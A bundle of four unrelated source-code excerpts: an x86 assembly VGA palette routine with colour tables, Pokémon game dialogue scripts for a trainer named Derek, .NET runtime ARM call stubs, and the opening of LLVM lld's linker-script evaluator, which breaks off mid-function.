mov dx, offset PaletteVGAII
call SetPalette
.leave
ret
VidSetVGAII endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetPalette
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sets the palette entries for the device
CALLED BY: GLOBAL
PASS: dx - offset of palette entry to set
RETURN: nada
DESTROYED: nada
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 4/ 5/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetPalette proc near
.enter
mov bx, 0 ;Start at index #0
mov di, dx
segmov es, cs ;ES:DX <- palette entries to set
mov cx, 16 ;Set all 16 palette registers
next:
push bx, cx
mov ax, GET_PALREG
int VIDEO_BIOS ;BH <- color code read
mov bl, bh
clr bh ;BX <- color code
mov dh, es:[di]
mov ch, es:[di+1]
mov cl, es:[di+2]
add di, 3
mov ax, SET_DACREG
int VIDEO_BIOS
pop bx, cx
inc bx
loop next
.leave
ret
SetPalette endp
Palette16 byte 00, 00, 00 ; entry 0 -- black
byte 05, 05, 05
byte 08, 08, 08
byte 11, 11, 11
byte 14, 14, 14
byte 17, 17, 17
byte 20, 20, 20
byte 24, 24, 24
byte 28, 28, 28
byte 32, 32, 32
byte 36, 36, 36
byte 40, 40, 40
byte 45, 45, 45
byte 50, 50, 50
byte 56, 56, 56
byte 63, 63, 63
Palette8 byte 00, 00, 00 ; entry 0 -- black
byte 14, 14, 14
byte 22, 22, 22
byte 29, 29, 29
byte 36, 36, 36
byte 45, 45, 45
byte 54, 54, 54
byte 63, 63, 63
byte 00, 00, 00 ; entry 8 -- black
byte 14, 14, 14 ;
byte 22, 22, 22
byte 29, 29, 29
byte 36, 36, 36
byte 45, 45, 45
byte 54, 54, 54
byte 63, 63, 63
Palette4 byte 00, 00, 00 ; C_BLACK
byte 21, 21, 21 ; C_BLUE = C_DARK_GRAY
byte 21, 21, 21 ; C_GREEN = C_DARK_GRAY
byte 21, 21, 21 ; C_CYAN = C_DARK_GRAY
byte 21, 21, 21 ; C_RED = C_DARK_GRAY
byte 21, 21, 21 ; C_VIOLET = C_DARK_GRAY
byte 21, 21, 21 ; C_BROWN = C_DARK_GRAY
byte 42, 42, 42 ; C_LIGHT_GRAY
byte 21, 21, 21 ; C_DARK_GRAY
byte 42, 42, 42 ; C_LIGHT_BLUE = C_LIGHT_GRAY
byte 42, 42, 42 ; C_LIGHT_GREEN = C_LIGHT_GRAY
byte 42, 42, 42 ; C_LIGHT_CYAN = C_LIGHT_GRAY
byte 42, 42, 42 ; C_LIGHT_RED = C_LIGHT_GRAY
byte 42, 42, 42 ; C_LIGHT_VIOLET = C_LIGHT_GRAY
byte 42, 42, 42 ; C_YELLOW = C_LIGHT_GRAY
byte 63, 63, 63 ; C_WHITE
PaletteVGAII byte 00, 00, 00 ; entry 0 -- black
byte 00, 00, 42
byte 00, 42, 00
byte 00, 42, 42
byte 42, 00, 00
byte 42, 00, 42
byte 42, 21, 00
byte 48, 48, 48 ; brighter light gray
byte 32, 32, 32 ; brighter dark gray
byte 21, 21, 63
byte 21, 63, 21
byte 21, 63, 63
byte 63, 21, 21
byte 63, 21, 63
byte 63, 63, 21
byte 63, 63, 63 ; entry 15 -- white
VideoMisc ends
|
DerekCheekPincherText:
text "Listen to this."
line "My @"
text_ram wStringBuffer4
text_start
para "grins happily when"
line "I pinch its cheek."
para "But it never grins"
line "for anyone else."
para "I must be special."
done
UnknownText_0x65b29:
text "Oh, and recently,"
line "my PIKACHU beat a"
cont "wild @"
text_ram wStringBuffer4
text "!"
para "A wild @"
text_ram wStringBuffer4
text ","
line "I tell you!"
para "Don't you think"
line "that's astounding?"
para "My PIKACHU is"
line "awesome!"
para "My PIKACHU is the"
line "greatest!"
done
UnknownText_0x65bc8:
text "Oh, and I saw a"
line "wild @"
text_ram wStringBuffer4
text " a"
cont "little while ago."
para "But it wasn't very"
line "cute, so I left"
para "it…"
line "#MON have to be"
para "cute. They're no"
line "good otherwise."
done
UnknownText_0x65c4e:
text "Well, let's talk"
line "again!"
done
DerekBugCatchingContestText:
text "Did you remember?"
line "The Bug-Catching"
cont "Contest is today."
para "You're going to"
line "go, aren't you?"
para "I think I'll"
line "participate with"
para "PIKACHU to show"
line "off its cuteness."
done
UnknownText_0x65cf9:
text "I'd like you to"
line "have a NUGGET."
para "My PIKACHU just"
line "loves it."
para "I'm certain your"
line "PIKACHU will love"
cont "it too!"
done
UnknownText_0x65d5c:
text "How is your"
line "PIKACHU doing?"
para "Let's get together"
line "and brag about our"
cont "PIKACHU!"
done
UnknownText_0x65da6:
text "What's wrong?"
para "I'm waiting on"
line "@"
text_ram wStringBuffer5
text "."
para "Come pick this up"
line "anytime."
done
|
;; Licensed to the .NET Foundation under one or more agreements.
;; The .NET Foundation licenses this file to you under the MIT license.
;; See the LICENSE file in the project root for more information.
#include "kxarm.h"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; DATA SECTIONS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ConstrainedCall Support Helpers ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; Note: The "__jmpstub__" prefix is used to indicate to debugger
;; that it must step-through this stub when it encounters it while
;; stepping.
;;
;;
;; sp-4 - AddressOfAddressOfFunctionToCallAfterDereferencingThis
;;
LEAF_ENTRY __jmpstub__ConstrainedCallSupport_DerefThisAndCall_CommonCallingStub
ldr r12, [sp, #-4]
ldr r12, [r12]
ldr r0, [r0]
bx r12
LEAF_END __jmpstub__ConstrainedCallSupport_DerefThisAndCall_CommonCallingStub
;;
;; void ConstrainedCallSupport_GetStubs(IntPtr *__jmpstub__ConstrainedCallSupport_DerefThisAndCall_CommonCallingStub,
;; IntPtr *__jmpstub__ConstrainedCallSupport_DirectConstrainedCallCommonStub)
;;
LEAF_ENTRY ConstrainedCallSupport_GetStubs
ldr r12, =__jmpstub__ConstrainedCallSupport_DerefThisAndCall_CommonCallingStub
str r12, [r0]
ldr r12, =__jmpstub__ConstrainedCallSupport_DirectConstrainedCallCommonStub
str r12, [r1]
bx lr
LEAF_END ConstrainedCallSupport_GetStubs
;;
;; __jmpstub__ConstrainedCallSupport_DirectConstrainedCallCommonStub
;;
;; struct ConstrainedCallDesc
;; {
;; ULONG_PTR ExactTarget;
;; ULONG_PTR LookupFunc; // Put UniversalThunk here
;; }
;;
;; struct CommonCallingStubInputData
;; {
;; ULONG_PTR ConstrainedCallDesc;
;; ULONG_PTR DirectConstrainedCallResolver;
;; }
;;
;; sp-4 - Points at CommonCallingStubInputData
;;
;;
LEAF_ENTRY __jmpstub__ConstrainedCallSupport_DirectConstrainedCallCommonStub
ldr r12, [sp, #-4] ; put CommonCallingStubInputData into r12 (Temp for getting ExactTarget)
ldr r12, [r12] ; put ConstrainedCallDesc into r12 (Temp for getting ExactTarget)
ldr r12, [r12] ; put ExactTarget into r12
cmp r12, 0 ; Is ExactTarget null?
beq NeedHelperCall ; if null use a helper call
bx r12 ; Otherwise tail-call the ExactTarget
NeedHelperCall
;; Setup arguments for UniversalThunk and call it.
ldr r12, [sp, #-4] ; put CommonCallingStubInputData into r12 (Temp for getting ConstrainedCallDesc)
ldr r12, [r12] ; put ConstrainedCallDesc into r12
str r12, [sp, #-8] ; put ConstrainedCallDesc into sp-8 (red zone location of custom calling convention for universal thunk)
ldr r12, [sp, #-4] ; put CommonCallingStubInputData into r12 (Temp for getting DirectConstrainedCallResolver)
ldr r12, [r12, #4] ; put DirectConstrainedCallResolver into r12
str r12, [sp, #-4] ; put DirectConstrainedCallResolver into sp-4 (red zone location of custom calling convention for universal thunk)
ldr r12, [sp, #-8] ; put ConstrainedCallDesc into r12 (Temp for getting ExactTarget)
ldr r12, [r12, #4] ; put LookupFunc into r12 (This should be universal thunk pointer)
bx r12 ; Tail-Call Universal thunk
LEAF_END __jmpstub__ConstrainedCallSupport_DirectConstrainedCallCommonStub
END
|
//===- LinkerScript.cpp ---------------------------------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
// This file contains the parser/evaluator of the linker script.
//
//===----------------------------------------------------------------------===//
#include "LinkerScript.h"
#include "Config.h"
#include "InputSection.h"
#include "OutputSections.h"
#include "SymbolTable.h"
#include "Symbols.h"
#include "SyntheticSections.h"
#include "Target.h"
#include "Writer.h"
#include "lld/Common/Memory.h"
#include "lld/Common/Strings.h"
#include "llvm/ADT/STLExtras.h"
#include "llvm/ADT/StringRef.h"
#include "llvm/BinaryFormat/ELF.h"
#include "llvm/Support/Casting.h"
#include "llvm/Support/Endian.h"
#include "llvm/Support/ErrorHandling.h"
#include "llvm/Support/FileSystem.h"
#include "llvm/Support/Parallel.h"
#include "llvm/Support/Path.h"
#include "llvm/Support/TimeProfiler.h"
#include <algorithm>
#include <cassert>
#include <cstddef>
#include <cstdint>
#include <iterator>
#include <limits>
#include <string>
#include <vector>
using namespace llvm;
using namespace llvm::ELF;
using namespace llvm::object;
using namespace llvm::support::endian;
using namespace lld;
using namespace lld::elf;
LinkerScript *elf::script;
static uint64_t getOutputSectionVA(SectionBase *sec) {
OutputSection *os = sec->getOutputSection();
assert(os && "input section has no output section assigned");
return os ? os->addr : 0;
}
uint64_t ExprValue::getValue() const {
if (sec)
return alignTo(sec->getOffset(val) + getOutputSectionVA(sec),
alignment);
return alignTo(val, alignment);
}
uint64_t ExprValue::getSecAddr() const {
if (sec)
return sec->getOffset(0) + getOutputSectionVA(sec);
return 0;
}
uint64_t ExprValue::getSectionOffset() const {
// If the alignment is trivial, we don't have to compute the full
// value to know the offset. This allows this function to succeed in
// cases where the output section is not yet known.
if (alignment == 1 && !sec)
return val;
return getValue() - getSecAddr();
}
OutputSection *LinkerScript::createOutputSection(StringRef name,
StringRef location) {
OutputSection *&secRef = nameToOutputSection[name];
OutputSection *sec;
if (secRef && secRef->location.empty()) {
// There was a forward reference.
sec = secRef;
} else {
sec = make<OutputSection>(name, SHT_PROGBITS, 0);
if (!secRef)
secRef = sec;
}
sec->location = std::string(location);
return sec;
}
OutputSection *LinkerScript::getOrCreateOutputSection(StringRef name) {
OutputSection *&cmdRef = nameToOutputSection[name];
if (!cmdRef)
cmdRef = make<OutputSection>(name, SHT_PROGBITS, 0);
return cmdRef;
}
// Expands the memory region by the specified size.
static void expandMemoryRegion(MemoryRegion *memRegion, uint64_t size,
StringRef regionName, StringRef secName) {
memRegion->curPos += size;
uint64_t newSize = memRegion->curPos - (memRegion->origin)().getValue();
uint64_t length = (memRegion->length)().getValue();
if (newSize > length)
error("section '" + secName + "' will not fit in region '" + regionName +
"': overflowed by " + Twine(newSize - length) + " bytes");
}
void LinkerScript::expandMemoryRegions(uint64_t size) {
if (ctx->memRegion)
expandMemoryRegion(ctx->memRegion, size, ctx->memRegion->name,
ctx->outSec->name);
// Only expand the LMARegion if it is different from memRegion.
if (ctx->lmaRegion && ctx->memRegion != ctx->lmaRegion)
expandMemoryRegion(ctx->lmaRegion, size, ctx->lmaRegion->name,
ctx->outSec->name);
}
void LinkerScript::expandOutputSection(uint64_t size) {
ctx->outSec->size += size;
expandMemoryRegions(size);
}
void LinkerScript::setDot(Expr e, const Twine &loc, bool inSec) {
uint64_t val = e().getValue();
if (val < dot && inSec)
error(loc + ": unable to move location counter backward for: " +
ctx->outSec->name);
// Update to location counter means update to section size.
if (inSec)
expandOutputSection(val - dot);
dot = val;
}
// Used for handling linker symbol assignments, for both finalizing
// their values and doing early declarations. Returns true if symbol
// should be defined from linker script.
static bool shouldDefineSym(SymbolAssignment *cmd) {
if (cmd->name == ".")
return false;
if (!cmd->provide)
return true;
// If a symbol was in PROVIDE(), we need to define it only
// when it is a referenced undefined symbol.
Symbol *b = symtab->find(cmd->name);
if (b && !b->isDefined())
return true;
return false;
}
// Called by processSymbolAssignments() to assign definitions to
// linker-script-defined symbols.
void LinkerScript::addSymbol(SymbolAssignment *cmd) {
if (!shouldDefineSym(cmd))
return;
// Define a symbol.
ExprValue value = cmd->expression();
SectionBase *sec = value.isAbsolute() ? nullptr : value.sec;
uint8_t visibility = cmd->hidden ? STV_HIDDEN : STV_DEFAULT;
// When this function is called, section addresses have not been
// fixed yet. So, we may or may not know the value of the RHS
// expression.
//
// For example, if an expression is `x = 42`, we know x is always 42.
// However, if an expression is `x = .`, there's no way to know its
// value at the moment.
//
// We want to set symbol values early if we can. This allows us to
// use symbols as variables in linker scripts. Doing so allows us to
// write expressions like this: `alignment = 16; . = ALIGN(., alignment)`.
uint64_t symValue = value.sec ? 0 : value.getValue();
Defined newSym(nullptr, cmd->name, STB_GLOBAL, visibility, value.type,
symValue, 0, sec);
Symbol *sym = symtab->insert(cmd->name);
sym->mergeProperties(newSym);
sym->replace(newSym);
cmd->sym = cast<Defined>(sym);
}
// This function is called from LinkerScript::declareSymbols.
// It creates a placeholder symbol if needed.
static void declareSymbol(SymbolAssignment *cmd) {
if (!shouldDefineSym(cmd))
return;
uint8_t visibility = cmd->hidden ? STV_HIDDEN : STV_DEFAULT;
Defined newSym(nullptr, cmd->name, STB_GLOBAL, visibility, STT_NOTYPE, 0, 0,
nullptr);
// We can't calculate final value right now.
Symbol *sym = symtab->insert(cmd->name);
sym->mergeProperties(newSym);
sym->replace(newSym);
cmd->sym = cast<Defined>(sym);
cmd->provide = false;
sym->scriptDefined = true;
}
using SymbolAssignmentMap =
DenseMap<const Defined *, std::pair<SectionBase *, uint64_t>>;
// Collect section/value pairs of linker-script-defined symbols. This is used to
// check whether symbol values converge.
static SymbolAssignmentMap
getSymbolAssignmentValues(const std::vector<BaseCommand *> §ionCommands) {
SymbolAssignmentMap ret;
for (BaseCommand *base : sectionCommands) {
if (auto *cmd = dyn_cast<SymbolAssignment>(base)) {
if (cmd->sym) // sym is nullptr for dot.
ret.try_emplace(cmd->sym,
std::make_pair(cmd->sym->section, cmd->sym->value));
continue;
}
for (BaseCommand *sub_base : cast<OutputSection>(base)->sectionCommands)
if (auto *cmd = dyn_cast<SymbolAssignment>(sub_base))
if (cmd->sym)
ret.try_emplace(cmd->sym,
std::make_pair(cmd->sym->section, cmd->sym->value));
}
return ret;
}
// Returns the lexicographical smallest (for determinism) Defined whose
// section/value has changed.
static const Defined *
getChangedSymbolAssignment(const SymbolAssignmentMap &oldValues) {
const Defined *changed = nullptr;
for (auto &it : oldValues) {
const Defined *sym = it.first;
if (std::make_pair(sym->section, sym->value) != it.second &&
(!changed || sym->getName() < changed->getName()))
changed = sym;
}
return changed;
}
// Process INSERT [AFTER|BEFORE] commands. For each command, we move the
// specified output section to the designated place.
void LinkerScript::processInsertCommands() {
for (const InsertCommand &cmd : insertCommands) {
// If cmd.os is empty, it may have been discarded by
// adjustSectionsBeforeSorting(). We do not handle such output sections.
auto from = llvm::find(sectionCommands, cmd.os);
if (from == sectionCommands.end())
continue;
sectionCommands.erase(from);
auto insertPos = llvm::find_if(sectionCommands, [&cmd](BaseCommand *base) {
auto *to = dyn_cast<OutputSection>(base);
return to != nullptr && to->name == cmd.where;
});
if (insertPos == sectionCommands.end()) {
error("unable to insert " + cmd.os->name +
(cmd.isAfter ? " after " : " before ") + cmd.where);
} else {
if (cmd.isAfter)
++insertPos;
sectionCommands.insert(insertPos, cmd.os);
}
}
}
// Symbols defined in script should not be inlined by LTO. At the same time
// we don't know their final values until late stages of link. Here we scan
// over symbol assignment commands and create placeholder symbols if needed.
void LinkerScript::declareSymbols() {
assert(!ctx);
for (BaseCommand *base : sectionCommands) {
if (auto *cmd = dyn_cast<SymbolAssignment>(base)) {
declareSymbol(cmd);
continue;
}
// If the output section directive has constraints,
// we can't say for sure if it is going to be included or not.
// Skip such sections for now. Improve the checks if we ever
// need symbols from that sections to be declared early.
auto *sec = cast<OutputSection>(base);
if (sec->constraint != ConstraintKind::NoConstraint)
continue;
for (BaseCommand *base2 : sec->sectionCommands)
if (auto *cmd = dyn_cast<SymbolAssignment>(base2))
declareSymbol(cmd);
}
}
// This function is called from assignAddresses, while we are
// fixing the output section addresses. This function is supposed
// to set the final value for a given symbol assignment.
void LinkerScript::assignSymbol(SymbolAssignment *cmd, bool inSec) {
if (cmd->name == ".") {
setDot(cmd->expression, cmd->location, inSec);
return;
}
if (!cmd->sym)
return;
ExprValue v = cmd->expression();
if (v.isAbsolute()) {
cmd->sym->section = nullptr;
cmd->sym->value = v.getValue();
} else {
cmd->sym->section = v.sec;
cmd->sym->value = v.getSectionOffset();
}
cmd->sym->type = v.type;
}
static inline StringRef getFilename(const InputFile *file) {
return file ? file->getNameForScript() : StringRef();
}
bool InputSectionDescription::matchesFile(const InputFile *file) const {
if (filePat.isTrivialMatchAll())
return true;
if (!matchesFileCache || matchesFileCache->first != file)
matchesFileCache.emplace(file, filePat.match(getFilename(file)));
return matchesFileCache->second;
}
bool SectionPattern::excludesFile(const InputFile *file) const {
if (excludedFilePat.empty())
return false;
if (!excludesFileCache || excludesFileCache->first != file)
excludesFileCache.emplace(file, excludedFilePat.match(getFilename(file)));
return excludesFileCache->second;
}
bool LinkerScript::shouldKeep(InputSectionBase *s) {
for (InputSectionDescription *id : keptSections)
if (id->matchesFile(s->file))
for (SectionPattern &p : id->sectionPatterns)
if (p.sectionPat.match(s->name) &&
(s->flags & id->withFlags) == id->withFlags &&
(s->flags & id->withoutFlags) == 0)
return true;
return false;
}
// A helper function for the SORT() command.
static bool matchConstraints(ArrayRef<InputSectionBase *> sections,
ConstraintKind kind) {
if (kind == ConstraintKind::NoConstraint)
return true;
bool isRW = llvm::any_of(
sections, [](InputSectionBase *sec) { return sec->flags & SHF_WRITE; });
return (isRW && kind == ConstraintKind::ReadWrite) ||
(!isRW && kind == ConstraintKind::ReadOnly);
}
static void sortSections(MutableArrayRef<InputSectionBase *> vec,
SortSectionPolicy k) {
auto alignmentComparator = [](InputSectionBase *a, InputSectionBase *b) {
// ">" is not a mistake. Sections with larger alignments are placed
// before sections with smaller alignments in order to reduce the
// amount of padding necessary. This is compatible with GNU.
return a->alignment > b->alignment;
};
auto nameComparator = [](InputSectionBase *a, InputSectionBase *b) {
return a->name < b->name;
};
auto priorityComparator = [](InputSectionBase *a, InputSectionBase *b) {
return getPriority(a->name) < getPriority(b->name);
};
switch (k) {
case SortSectionPolicy::Default:
case SortSectionPolicy::None:
return;
case SortSectionPolicy::Alignment:
return llvm::stable_sort(vec, alignmentComparator);
case SortSectionPolicy::Name:
return llvm::stable_sort(vec, nameComparator);
case SortSectionPolicy::Priority:
return llvm::stable_sort(vec, priorityComparator);
}
}
// Sort sections as instructed by SORT-family commands and --sort-section
// option. Because SORT-family commands can be nested at most two depth
// (e.g. SORT_BY_NAME(SORT_BY_ALIGNMENT(.text.*))) and because the command
// line option is respected even if a SORT command is given, the exact
// behavior we have here is a bit complicated. Here are the rules.
//
// 1. If two SORT commands are given, --sort-section is ignored.
// 2. If one SORT command is given, and if it is not SORT_NONE,
// --sort-section is handled as an inner SORT command.
// 3. If one SORT command is given, and if it is SORT_NONE, don't sort.
// 4. If no SORT command is given, sort according to --sort-section.
static void sortInputSections(MutableArrayRef<InputSectionBase *> vec,
SortSectionPolicy outer,
SortSectionPolicy inner) {
if (outer == SortSectionPolicy::None)
return;
if (inner == SortSectionPolicy::Default)
sortSections(vec, config->sortSection);
else
sortSections(vec, inner);
sortSections(vec, outer);
}
// Compute and remember which sections the InputSectionDescription matches.
std::vector<InputSectionBase *>
LinkerScript::computeInputSections(const InputSectionDescription *cmd,
ArrayRef<InputSectionBase *> sections) {
std::vector<InputSectionBase *> ret;
std::vector<size_t> indexes;
DenseSet<size_t> seen;
auto sortByPositionThenCommandLine = [&](size_t begin, size_t end) {
llvm::sort(MutableArrayRef<size_t>(indexes).slice(begin, end - begin));
for (size_t i = begin; i != end; ++i)
ret[i] = sections[indexes[i]];
sortInputSections(
MutableArrayRef<InputSectionBase *>(ret).slice(begin, end - begin),
config->sortSection, SortSectionPolicy::None);
};
// Collects all sections that satisfy constraints of Cmd.
size_t sizeAfterPrevSort = 0;
for (const SectionPattern &pat : cmd->sectionPatterns) {
size_t sizeBeforeCurrPat = ret.size();
for (size_t i = 0, e = sections.size(); i != e; ++i) {
// Skip if the section is dead or has been matched by a previous input
// section description or a previous pattern.
InputSectionBase *sec = sections[i];
if (!sec->isLive() || sec->parent || seen.contains(i))
continue;
// For -emit-relocs we have to ignore entries like
// .rela.dyn : { *(.rela.data) }
// which are common because they are in the default bfd script.
// We do not ignore SHT_REL[A] linker-synthesized sections here because
// want to support scripts that do custom layout for them.
if (isa<InputSection>(sec) &&
cast<InputSection>(sec)->getRelocatedSection())
continue;
// Check the name early to improve performance in the common case.
if (!pat.sectionPat.match(sec->name))
continue;
if (!cmd->matchesFile(sec->file) || pat.excludesFile(sec->file) ||
(sec->flags & cmd->withFlags) != cmd->withFlags ||
(sec->flags & cmd->withoutFlags) != 0)
continue;
ret.push_back(sec);
indexes.push_back(i);
seen.insert(i);
}
if (pat.sortOuter == SortSectionPolicy::Default)
continue;
// Matched sections are ordered by radix sort with the keys being (SORT*,
// --sort-section, input order), where SORT* (if present) is most
// significant.
//
// Matched sections between the previous SORT* and this SORT* are sorted by
// (--sort-alignment, input order).
sortByPositionThenCommandLine(sizeAfterPrevSort, sizeBeforeCurrPat);
// Matched sections by this SORT* pattern are sorted using all 3 keys.
// ret[sizeBeforeCurrPat,ret.size()) are already in the input order, so we
// just sort by sortOuter and sortInner.
sortInputSections(
MutableArrayRef<InputSectionBase *>(ret).slice(sizeBeforeCurrPat),
pat.sortOuter, pat.sortInner);
sizeAfterPrevSort = ret.size();
}
// Matched sections after the last SORT* are sorted by (--sort-alignment,
// input order).
sortByPositionThenCommandLine(sizeAfterPrevSort, ret.size());
return ret;
}
void LinkerScript::discard(InputSectionBase *s) {
if (s == in.shStrTab || s == mainPart->relrDyn)
error("discarding " + s->name + " section is not allowed");
// You can discard .hash and .gnu.hash sections by linker scripts. Since
// they are synthesized sections, we need to handle them differently than
// other regular sections.
if (s == mainPart->gnuHashTab)
mainPart->gnuHashTab = nullptr;
if (s == mainPart->hashTab)
mainPart->hashTab = nullptr;
s->markDead();
s->parent = nullptr;
for (InputSection *ds : s->dependentSections)
discard(ds);
}
void LinkerScript::discardSynthetic(OutputSection &outCmd) {
for (Partition &part : partitions) {
if (!part.armExidx || !part.armExidx->isLive())
continue;
std::vector<InputSectionBase *> secs(part.armExidx->exidxSections.begin(),
part.armExidx->exidxSections.end());
for (BaseCommand *base : outCmd.sectionCommands)
if (auto *cmd = dyn_cast<InputSectionDescription>(base)) {
std::vector<InputSectionBase *> matches =
computeInputSections(cmd, secs);
for (InputSectionBase *s : matches)
discard(s);
}
}
}
std::vector<InputSectionBase *>
LinkerScript::createInputSectionList(OutputSection &outCmd) {
std::vector<InputSectionBase *> ret;
for (BaseCommand *base : outCmd.sectionCommands) {
if (auto *cmd = dyn_cast<InputSectionDescription>(base)) {
cmd->sectionBases = computeInputSections(cmd, inputSections);
for (InputSectionBase *s : cmd->sectionBases)
s->parent = &outCmd;
ret.insert(ret.end(), cmd->sectionBases.begin(), cmd->sectionBases.end());
}
}
return ret;
}
// Create output sections described by SECTIONS commands.
void LinkerScript::processSectionCommands() {
size_t i = 0;
for (BaseCommand *base : sectionCommands) {
if (auto *sec = dyn_cast<OutputSection>(base)) {
std::vector<InputSectionBase *> v = createInputSectionList(*sec);
// The output section name `/DISCARD/' is special.
// Any input section assigned to it is discarded.
if (sec->name == "/DISCARD/") {
for (InputSectionBase *s : v)
discard(s);
discardSynthetic(*sec);
sec->sectionCommands.clear();
continue;
}
// This is for ONLY_IF_RO and ONLY_IF_RW. An output section directive
// ".foo : ONLY_IF_R[OW] { ... }" is handled only if all member input
// sections satisfy a given constraint. If not, a directive is handled
// as if it wasn't present from the beginning.
//
// Because we'll iterate over SectionCommands many more times, the easy
// way to "make it as if it wasn't present" is to make it empty.
if (!matchConstraints(v, sec->constraint)) {
for (InputSectionBase *s : v)
s->parent = nullptr;
sec->sectionCommands.clear();
continue;
}
// Handle subalign (e.g. ".foo : SUBALIGN(32) { ... }"). If subalign
// is given, input sections are aligned to that value, whether the
// given value is larger or smaller than the original section alignment.
if (sec->subalignExpr) {
uint32_t subalign = sec->subalignExpr().getValue();
for (InputSectionBase *s : v)
s->alignment = subalign;
}
// Set the partition field the same way OutputSection::recordSection()
// does. Partitions cannot be used with the SECTIONS command, so this is
// always 1.
sec->partition = 1;
sec->sectionIndex = i++;
}
}
}
void LinkerScript::processSymbolAssignments() {
// Dot outside an output section still represents a relative address, whose
// sh_shndx should not be SHN_UNDEF or SHN_ABS. Create a dummy aether section
// that fills the void outside a section. It has an index of one, which is
// indistinguishable from any other regular section index.
aether = make<OutputSection>("", 0, SHF_ALLOC);
aether->sectionIndex = 1;
// ctx captures the local AddressState and makes it accessible deliberately.
// This is needed as there are some cases where we cannot just thread the
// current state through to a lambda function created by the script parser.
AddressState state;
ctx = &state;
ctx->outSec = aether;
for (BaseCommand *base : sectionCommands) {
if (auto *cmd = dyn_cast<SymbolAssignment>(base))
addSymbol(cmd);
else
for (BaseCommand *sub_base : cast<OutputSection>(base)->sectionCommands)
if (auto *cmd = dyn_cast<SymbolAssignment>(sub_base))
addSymbol(cmd);
}
ctx = nullptr;
}
static OutputSection *findByName(ArrayRef<BaseCommand *> vec,
StringRef name) {
for (BaseCommand *base : vec)
if (auto *sec = dyn_cast<OutputSection>(base))
if (sec->name == name)
return sec;
return nullptr;
}
static OutputSection *createSection(InputSectionBase *isec,
StringRef outsecName) {
OutputSection *sec = script->createOutputSection(outsecName, "<internal>");
sec->recordSection(isec);
return sec;
}
static OutputSection *
addInputSec(StringMap<TinyPtrVector<OutputSection *>> &map,
InputSectionBase *isec, StringRef outsecName) {
// Sections with SHT_GROUP or SHF_GROUP attributes reach here only when the -r
// option is given. A section with SHT_GROUP defines a "section group", and
// its members have SHF_GROUP attribute. Usually these flags have already been
// stripped by InputFiles.cpp as section groups are processed and uniquified.
// However, for the -r option, we want to pass through all section groups
// as-is because adding/removing members or merging them with other groups
// change their semantics.
if (isec->type == SHT_GROUP || (isec->flags & SHF_GROUP))
return createSection(isec, outsecName);
// Imagine .zed : { *(.foo) *(.bar) } script. Both foo and bar may have
// relocation sections .rela.foo and .rela.bar for example. Most tools do
// not allow multiple REL[A] sections for output section. Hence we
// should combine these relocation sections into single output.
// We skip synthetic sections because it can be .rela.dyn/.rela.plt or any
// other REL[A] sections created by linker itself.
if (!isa<SyntheticSection>(isec) &&
(isec->type == SHT_REL || isec->type == SHT_RELA)) {
auto *sec = cast<InputSection>(isec);
OutputSection *out = sec->getRelocatedSection()->getOutputSection();
if (out->relocationSection) {
out->relocationSection->recordSection(sec);
return nullptr;
}
out->relocationSection = createSection(isec, outsecName);
return out->relocationSection;
}
// The ELF spec just says
// ----------------------------------------------------------------
// In the first phase, input sections that match in name, type and
// attribute flags should be concatenated into single sections.
// ----------------------------------------------------------------
//
// However, it is clear that at least some flags have to be ignored for
// section merging. At the very least SHF_GROUP and SHF_COMPRESSED have to be
// ignored. We should not have two output .text sections just because one was
// in a group and another was not for example.
//
// It also seems that wording was a late addition and didn't get the
// necessary scrutiny.
//
// Merging sections with different flags is expected by some users. One
// reason is that if one file has
//
// int *const bar __attribute__((section(".foo"))) = (int *)0;
//
// gcc with -fPIC will produce a read only .foo section. But if another
// file has
//
// int zed;
// int *const bar __attribute__((section(".foo"))) = (int *)&zed;
//
// gcc with -fPIC will produce a read write section.
//
// Last but not least, when using linker script the merge rules are forced by
// the script. Unfortunately, linker scripts are name based. This means that
// expressions like *(.foo*) can refer to multiple input sections with
// different flags. We cannot put them in different output sections or we
// would produce wrong results for
//
// start = .; *(.foo.*) end = .; *(.bar)
//
// and a mapping of .foo1 and .bar1 to one section and .foo2 and .bar2 to
// another. The problem is that there is no way to layout those output
// sections such that the .foo sections are the only thing between the start
// and end symbols.
//
// Given the above issues, we instead merge sections by name and error on
// incompatible types and flags.
TinyPtrVector<OutputSection *> &v = map[outsecName];
for (OutputSection *sec : v) {
if (sec->partition != isec->partition)
continue;
if (config->relocatable && (isec->flags & SHF_LINK_ORDER)) {
// Merging two SHF_LINK_ORDER sections with different sh_link fields will
// change their semantics, so we only merge them in -r links if they will
// end up being linked to the same output section. The casts are fine
// because everything in the map was created by the orphan placement code.
auto *firstIsec = cast<InputSectionBase>(
cast<InputSectionDescription>(sec->sectionCommands[0])
->sectionBases[0]);
OutputSection *firstIsecOut =
firstIsec->flags & SHF_LINK_ORDER
? firstIsec->getLinkOrderDep()->getOutputSection()
: nullptr;
if (firstIsecOut != isec->getLinkOrderDep()->getOutputSection())
continue;
}
sec->recordSection(isec);
return nullptr;
}
OutputSection *sec = createSection(isec, outsecName);
v.push_back(sec);
return sec;
}
// Add sections that didn't match any sections command.
void LinkerScript::addOrphanSections() {
StringMap<TinyPtrVector<OutputSection *>> map;
std::vector<OutputSection *> v;
std::function<void(InputSectionBase *)> add;
add = [&](InputSectionBase *s) {
if (s->isLive() && !s->parent) {
orphanSections.push_back(s);
StringRef name = getOutputSectionName(s);
if (config->unique) {
v.push_back(createSection(s, name));
} else if (OutputSection *sec = findByName(sectionCommands, name)) {
